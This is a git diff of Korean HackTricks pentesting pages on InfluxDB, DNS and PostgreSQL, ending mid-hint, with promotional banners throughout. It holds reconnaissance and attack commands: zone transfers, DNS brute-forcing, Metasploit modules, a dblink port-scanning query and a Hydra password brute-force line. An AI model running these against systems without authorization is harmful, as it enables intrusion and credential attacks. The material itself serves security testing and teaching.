**InfluxDB**는 InfluxData가 개발한 오픈 소스 **시계열 데이터베이스 (TSDB)**입니다. TSDB는 타임스탬프-값 쌍으로 구성된 시계열 데이터를 저장하고 제공하는 데 최적화되어 있습니다. 일반 목적의 데이터베이스와 비교하여 TSDB는 시계열 데이터셋의 **저장 공간** 및 **성능**에서 상당한 개선을 제공합니다. 특수한 압축 알고리즘을 사용하며 오래된 데이터를 자동으로 제거하도록 구성할 수 있습니다. 특수한 데이터베이스 인덱스도 쿼리 성능을 향상시킵니다.
|
||||
|
||||
**기본 포트**: 8086
|
||||
```
|
||||
|
@ -43,7 +43,7 @@ InfluxDB는 인증을 요구할 수도 있고 아닐 수도 있습니다.
|
|||
influx -host 'host name' -port 'port #'
|
||||
> use _internal
|
||||
```
|
||||
만약 이런 오류를 받는다면: `ERR: unable to parse authentication credentials`, 그것은 **일부 자격 증명을 기대하고 있는 것**을 의미합니다.
|
||||
만약 이런 오류를 만나게 된다면: `ERR: unable to parse authentication credentials`, 이는 **일부 자격 증명을 기대하고 있다는 것**을 의미합니다.
|
||||
```
|
||||
influx –username influx –password influx_pass
|
||||
```
|
||||
|
@ -64,7 +64,7 @@ _internal
|
|||
```
|
||||
#### 테이블/측정값 표시
|
||||
|
||||
[**InfluxDB 문서**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)에 따르면 **InfluxDB**의 **측정값**은 SQL 테이블과 유사하다. 이러한 **측정값**의 명명법은 해당 콘텐츠를 나타내며, 각각은 특정 엔티티에 관련된 데이터를 보유하고 있다.
|
||||
[**InfluxDB 문서**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)에 따르면 **InfluxDB**의 **측정값**은 SQL 테이블과 유사하다고 설명합니다. 이러한 **측정값**의 명명법은 해당 콘텐츠를 나타내며, 각각은 특정 엔티티에 관련된 데이터를 보유하고 있습니다.
|
||||
```bash
|
||||
> show measurements
|
||||
name: measurements
|
||||
|
@ -123,22 +123,22 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급**한 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 어디서든 전체 펜테스트를 실행하십시오. **recon부터 보고서 작성까지**. 우리는 펜테스터를 대체하지 않습니다 - 대신, 사용자 정의 도구, 탐지 및 공격 모듈을 개발하여 그들에게 깊이 파고들고, 쉘을 열고, 즐길 수 있는 시간을 돌려줍니다.
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 어디서든 전체 펜테스트를 실행하고, recon부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 사용자 정의 도구, 탐지 및 공격 모듈을 개발하여 더 깊이 파고들고, 쉘을 열고, 즐길 수 있도록 합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**도메인 이름 시스템 (DNS)**은 인터넷의 디렉토리로 작동하여 사용자가 google.com 또는 facebook.com과 같은 **기억하기 쉬운 도메인 이름**을 통해 웹 사이트에 액세스할 수 있도록 합니다. 숫자로 된 인터넷 프로토콜 (IP) 주소 대신 도메인 이름을 IP 주소로 변환함으로써 DNS는 웹 브라우저가 인터넷 리소스를 빠르게로드할 수 있도록 하여 온라인 세계를 탐색하는 방법을 간소화합니다.
|
||||
**도메인 이름 시스템 (DNS)**은 인터넷의 디렉토리 역할을 하며, 사용자가 google.com 또는 facebook.com과 같은 **기억하기 쉬운 도메인 이름**을 통해 웹 사이트에 액세스할 수 있도록 합니다. 도메인 이름을 IP 주소로 변환함으로써 DNS는 웹 브라우저가 인터넷 리소스를 빠르게 로드할 수 있도록 하여 온라인 세계를 탐색하는 방법을 간소화합니다.
|
||||
|
||||
**기본 포트:** 53
|
||||
```
|
||||
|
@ -34,9 +34,9 @@ PORT STATE SERVICE REASON
|
|||
### 다양한 DNS 서버
|
||||
|
||||
* **DNS 루트 서버**: DNS 계층 구조의 맨 위에 위치하며 최상위 도메인을 관리하며 하위 서버가 응답하지 않을 때에만 개입합니다. **ICANN**(인터넷 주소 및 이름 관리 기관)이 13개의 글로벌 루트 서버를 감독합니다.
|
||||
* **권한 있는 네임서버**: 이러한 서버는 자신이 지정한 영역의 쿼리에 대한 최종 결정을 내리며 명확한 답변을 제공합니다. 응답을 제공할 수 없는 경우 쿼리는 루트 서버로 전달됩니다.
|
||||
* **권한 있는 네임서버**: 이러한 서버는 자신의 지정된 영역에 대한 쿼리에 대한 최종 결정을 내리며 명확한 답변을 제공합니다. 답변을 제공할 수 없는 경우 쿼리는 루트 서버로 전달됩니다.
|
||||
* **비권한 있는 네임서버**: DNS 영역에 대한 소유권이 없으며 다른 서버에 쿼리를 통해 도메인 정보를 수집합니다.
|
||||
* **캐싱 DNS 서버**: 이 유형의 서버는 이전 쿼리 응답을 일정 시간 동안 기억하여 향후 요청에 대한 응답 시간을 빠르게 합니다. 캐시 지속 기간은 권한 있는 서버에 의해 지정됩니다.
|
||||
* **캐싱 DNS 서버**: 이 유형의 서버는 이전 쿼리 응답을 일정 시간 동안 기억하여 미래 요청에 대한 응답 시간을 빠르게 합니다. 캐시 지속 기간은 권한 있는 서버에 의해 지정됩니다.
|
||||
* **포워딩 서버**: 간단한 역할을 수행하는 포워딩 서버는 단순히 쿼리를 다른 서버로 중계합니다.
|
||||
* **리졸버**: 컴퓨터나 라우터에 통합되어 있으며 리졸버는 로컬에서 이름 해결을 실행하며 권한 있는 서버로 간주되지 않습니다.
|
||||
|
||||
|
@ -57,13 +57,13 @@ dig version.bind CHAOS TXT @DNS
|
|||
```
|
||||
### **모든 레코드**
|
||||
|
||||
레코드 **ANY**는 DNS 서버에게 **반환**할 수 있는 모든 **항목**을 **공개할 의사가 있는지** 물어봅니다.
|
||||
레코드 **ANY**은 DNS 서버에게 **공개할 의사가 있는** 모든 **항목**을 **반환**하도록 요청합니다.
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
### **존 전송**
|
||||
|
||||
이 절차는 `비동기 전체 전송 존` (`AXFR`)로 약칭됩니다.
|
||||
이 절차는 `비동기 전체 전송 존` (`AXFR`)으로 약어화됩니다.
|
||||
```bash
|
||||
dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
|
@ -146,18 +146,18 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```
|
||||
### IPv6
|
||||
|
||||
"AAAA" 요청을 사용하여 서브도메인의 IPv6를 수집하기 위한 무차별 대입 공격.
|
||||
서브도메인의 IPv6를 수집하기 위해 "AAAA" 요청을 사용하여 무차별 대입 공격을 수행합니다.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
IPv6 주소를 사용하여 역 DNS 브루트포스 공격
|
||||
IPv6 주소를 사용하여 역 DNS 브루트 포스하기
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### DNS 재귀 DDoS
|
||||
|
||||
만약 DNS 재귀가 활성화되어 있다면, 공격자는 UDP 패킷에서 **원본을 위조**하여 DNS가 응답을 피해자 서버로 보내도록 할 수 있습니다. 공격자는 **ANY** 또는 **DNSSEC** 레코드 유형을 남용할 수 있습니다. 왜냐하면 이들은 더 큰 응답을 가지기 때문입니다.\
|
||||
DNS가 **재귀**를 지원하는지 확인하는 방법은 도메인 이름을 쿼리하고 응답에서 **"ra" 플래그**(_재귀 가능_)가 있는지 확인하는 것입니다:
|
||||
만약 **DNS 재귀가 활성화**되어 있다면, 공격자는 UDP 패킷에서 **원본을 위조**하여 **DNS가 응답을 피해자 서버로 보내도록** 할 수 있습니다. 공격자는 **ANY** 또는 **DNSSEC** 레코드 유형을 남용할 수 있습니다. 왜냐하면 이들은 더 큰 응답을 가지기 때문입니다.\
|
||||
DNS가 **재귀**를 지원하는지 **확인**하는 방법은 도메인 이름을 쿼리하고 응답에 **"ra" 플래그**(_재귀 가능_)가 있는지 **확인**하는 것입니다:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -169,21 +169,21 @@ dig google.com A @<IP>
|
|||
|
||||
![](<../.gitbook/assets/image (276).png>)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 즉시 설정**합니다. 20가지 이상의 도구 및 기능을 사용하여 리콘(recon)부터 보고서 작성까지 완전한 펜테스트를 어디서든 실행할 수 있습니다. 우리는 펜테스터를 대체하지 않습니다 - 사용자들이 더 심층적으로 파고들고 쉘을 열며 즐길 수 있도록 맞춤형 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
**취약점 평가 및 침투 테스트를 즉시 설정**합니다. 20가지 이상의 도구 및 기능을 사용하여 리콘(recon)부터 보고서 작성까지 완전한 펜테스트를 어디서든 실행할 수 있습니다. 우리는 펜테스터를 대체하지 않습니다 - 사용자들이 더 심층적으로 파고들고, 쉘을 열고 즐길 수 있도록 맞춤형 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
### 존재하지 않는 계정으로 이메일 보내기
|
||||
### 존재하지 않는 계정으로 메일 보내기
|
||||
|
||||
대상 도메인 내의 잘못된 주소로 전송된 이메일에 의해 트리거된 비배달 알림(NDN)을 통해 종종 가치 있는 내부 네트워크 세부 정보가 노출됩니다.
|
||||
대상 도메인 내의 잘못된 주소로 전송된 이메일에 의해 트리거된 전달 실패 알림(NDN)을 통해 종종 가치 있는 내부 네트워크 세부 정보가 노출됩니다.
|
||||
|
||||
제공된 비배달 보고서에는 다음과 같은 정보가 포함됩니다:
|
||||
제공된 전달 실패 보고서에는 다음과 같은 정보가 포함됩니다:
|
||||
|
||||
* 생성 서버는 `server.example.com`로 식별되었습니다.
|
||||
* `user@example.com`에 대한 오류 코드 `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found`가 포함된 실패 알림이 반환되었습니다.
|
||||
* 원본 메시지 헤더에는 내부 IP 주소 및 호스트 이름이 노출되었습니다.
|
||||
* `user@example.com`에 대한 `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` 오류 코드가 포함된 전송 실패 알림이 반환되었습니다.
|
||||
* 원본 메시지 헤더에 내부 IP 주소 및 호스트 이름이 노출되었습니다.
|
||||
```markdown
|
||||
The original message headers were modified for anonymity and now present randomized data:
|
||||
|
||||
|
@ -207,7 +207,7 @@ filter.example.com with ESMTP id xVNPkwaqGgdyH5Ag for user@example.com; Mon,
|
|||
X-Envelope-From: sender@anotherdomain.org
|
||||
X-Apparent-Source-IP: 198.51.100.37
|
||||
```
|
||||
## 설정 파일들
|
||||
## 구성 파일
|
||||
```
|
||||
host.conf
|
||||
/etc/resolv.conf
|
||||
|
@ -282,9 +282,9 @@ Description: DNS enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 즉시 사용할 수 있도록 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 사용자들이 더 심층적으로 파고들고, 쉘을 열고 즐길 수 있도록 맞춤형 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
**취약점 평가 및 침투 테스트를 즉시 사용할 수 있습니다**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행할 수 있습니다. 우리는 펜테스터를 대체하지 않습니다 - 사용자에게 깊이 파고들고 쉘을 열고 즐길 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -294,10 +294,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# 5432,5433 - PostgreSQL Pentesting
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지의 AWS 해킹**을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF 형식으로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**PostgreSQL**은 **오픈 소스**로 설명되는 **객체-관계형 데이터베이스 시스템**입니다. 이 시스템은 SQL 언어를 활용하는데 더불어 추가 기능을 통해 확장합니다. 다양한 데이터 유형과 작업을 처리할 수 있는 능력을 갖추어 개발자와 조직에게 다재다능한 선택지를 제공합니다.
|
||||
**PostgreSQL**은 **오픈 소스**로서 **객체-관계형 데이터베이스 시스템**으로 설명됩니다. 이 시스템은 SQL 언어를 활용하는데 더불어 추가 기능을 통해 보완합니다. 다양한 데이터 유형 및 작업을 처리할 수 있는 능력을 갖추어 개발자 및 조직에게 다재다능한 선택지를 제공합니다.
|
||||
|
||||
**기본 포트:** 5432이며, 이 포트가 이미 사용 중인 경우 postgresql은 사용되지 않는 다음 포트(아마도 5433)를 사용하는 것으로 보입니다.
|
||||
```
|
||||
|
@ -72,7 +72,7 @@ SELECT * FROM pg_extension;
|
|||
\s
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
**`\list`** 명령을 실행하여 **`rdsadmin`**이라는 데이터베이스를 찾으면 **AWS PostgreSQL 데이터베이스**에 접속한 것을 알 수 있습니다.
|
||||
**`\list`** 명령을 실행하여 **`rdsadmin`**이라는 데이터베이스를 찾으면 **AWS postgresql 데이터베이스** 안에 있다는 것을 알 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
**PostgreSQL 데이터베이스를 남용하는 방법**에 대한 자세한 정보는 다음을 확인하십시오:
|
||||
|
@ -90,7 +90,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
|||
|
||||
### **포트 스캔**
|
||||
|
||||
[**이 연구**](https://www.exploit-db.com/papers/13084)에 따르면, 연결 시도가 실패하면 `dblink`가 `sqlclient_unable_to_establish_sqlconnection` 예외를 throw하며 오류에 대한 설명이 포함됩니다. 아래는 이러한 세부 정보의 예시입니다.
|
||||
[**이 연구**](https://www.exploit-db.com/papers/13084)에 따르면, 연결 시도가 실패하면 `dblink`가 `sqlclient_unable_to_establish_sqlconnection` 예외를 throw하며 오류에 대한 설명이 포함됩니다. 이러한 세부 정보의 예시는 아래에 나와 있습니다.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
|
@ -113,37 +113,31 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
DETAIL: server closed the connection unexpectedly This probably means
|
||||
the server terminated abnormally before or while processing the request
|
||||
```
|
||||
```markdown
|
||||
### PostgreSQL
|
||||
# PostgreSQL Pentesting
|
||||
|
||||
#### Enumeration
|
||||
## Introduction
|
||||
|
||||
PostgreSQL can be enumerated using tools like `nmap`, `pgcli`, `pgadmin`, and `Metasploit`.
|
||||
PostgreSQL is a powerful, open-source object-relational database system. During a penetration test, it is important to assess the security of PostgreSQL to identify potential vulnerabilities that could be exploited by attackers.
|
||||
|
||||
To enumerate PostgreSQL using `nmap`, you can use the following command:
|
||||
## Default Credentials
|
||||
|
||||
```bash
|
||||
nmap -sV -p 5432 <target>
|
||||
```
|
||||
PostgreSQL does not set default credentials during installation. However, it is common for users to set weak or easily guessable passwords. During a penetration test, it is essential to check for default or weak credentials to prevent unauthorized access.
|
||||
|
||||
#### Brute Forcing
|
||||
## Information Gathering
|
||||
|
||||
Brute forcing PostgreSQL can be done using tools like `Hydra` or `Metasploit`.
|
||||
Gathering information about the PostgreSQL server, such as version number, running services, and configurations, is crucial for identifying potential attack vectors. Tools like `nmap`, `pgcli`, and `pg_dump` can be used for this purpose.
|
||||
|
||||
To brute force PostgreSQL using `Hydra`, you can use the following command:
|
||||
## Common Vulnerabilities
|
||||
|
||||
```bash
|
||||
hydra -L <userlist> -P <wordlist> <target> postgres
|
||||
```
|
||||
Some common vulnerabilities in PostgreSQL include SQL injection, insecure configurations, weak authentication mechanisms, and outdated software versions. It is important to identify and remediate these vulnerabilities to secure the database.
|
||||
|
||||
#### Exploitation
|
||||
## Exploitation
|
||||
|
||||
Exploiting PostgreSQL can be done using known vulnerabilities or weak configurations. Tools like `Metasploit` can be used for exploitation.
|
||||
Exploiting vulnerabilities in PostgreSQL can lead to unauthorized access, data manipulation, and even complete compromise of the database server. It is crucial to follow responsible disclosure practices when conducting exploitation activities.
|
||||
|
||||
#### Post-Exploitation
|
||||
## Post-Exploitation
|
||||
|
||||
After gaining access to a PostgreSQL database, post-exploitation activities can include dumping data, creating backdoors, or escalating privileges.
|
||||
```
|
||||
After a successful exploitation, an attacker can perform various post-exploitation activities, such as exfiltrating data, escalating privileges, and maintaining access to the database server. It is important to thoroughly assess the impact of a successful attack and take necessary steps to secure the system.
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
|
@ -159,12 +153,12 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
| 역할 유형 | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | 역할은 슈퍼유저 권한을 가집니다. |
|
||||
| rolinherit | 역할은 자동으로 소속된 역할의 권한을 상속받습니다. |
|
||||
| rolcreaterole | 역할은 더 많은 역할을 생성할 수 있습니다. |
|
||||
| rolcreatedb | 역할은 데이터베이스를 생성할 수 있습니다. |
|
||||
| rolcanlogin | 역할은 로그인할 수 있습니다. 즉, 이 역할은 초기 세션 권한 식별자로 지정할 수 있습니다. |
|
||||
| rolinherit | 역할은 자동으로 속한 역할의 권한을 상속받습니다. |
|
||||
| rolcreaterole | 역할은 더 많은 역할을 생성할 수 있습니다. |
|
||||
| rolcreatedb | 역할은 데이터베이스를 생성할 수 있습니다. |
|
||||
| rolcanlogin | 역할은 로그인할 수 있습니다. 즉, 이 역할은 초기 세션 권한 식별자로 지정될 수 있습니다. |
|
||||
| rolreplication | 역할은 복제 역할입니다. 복제 역할은 복제 연결을 시작하고 복제 슬롯을 생성하고 삭제할 수 있습니다. |
|
||||
| rolconnlimit | 로그인할 수 있는 역할에 대해 이 설정은 이 역할이 만들 수 있는 동시 연결의 최대 수를 설정합니다. -1은 제한이 없음을 의미합니다. |
|
||||
| rolconnlimit | 로그인할 수 있는 역할에 대해, 이것은 이 역할이 만들 수 있는 동시 연결의 최대 수를 설정합니다. -1은 제한이 없음을 의미합니다. |
|
||||
| rolpassword | 비밀번호가 아닙니다 (항상 `********`로 표시됨) |
|
||||
| rolvaliduntil | 비밀번호 만료 시간(비밀번호 인증에만 사용); 만료일이 없으면 null |
|
||||
| rolbypassrls | 역할은 모든 행 수준 보안 정책을 우회합니다. 자세한 내용은 [5.8절](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)을 참조하세요. |
|
||||
|
@ -178,7 +172,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
* **`pg_write_server_files`**의 멤버인 경우 **파일을 쓸** 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
Postgres에서 **사용자**, **그룹**, **역할**은 **동일**합니다. 이는 **사용 방식** 및 **로그인 허용 여부**에 따라 다릅니다.
|
||||
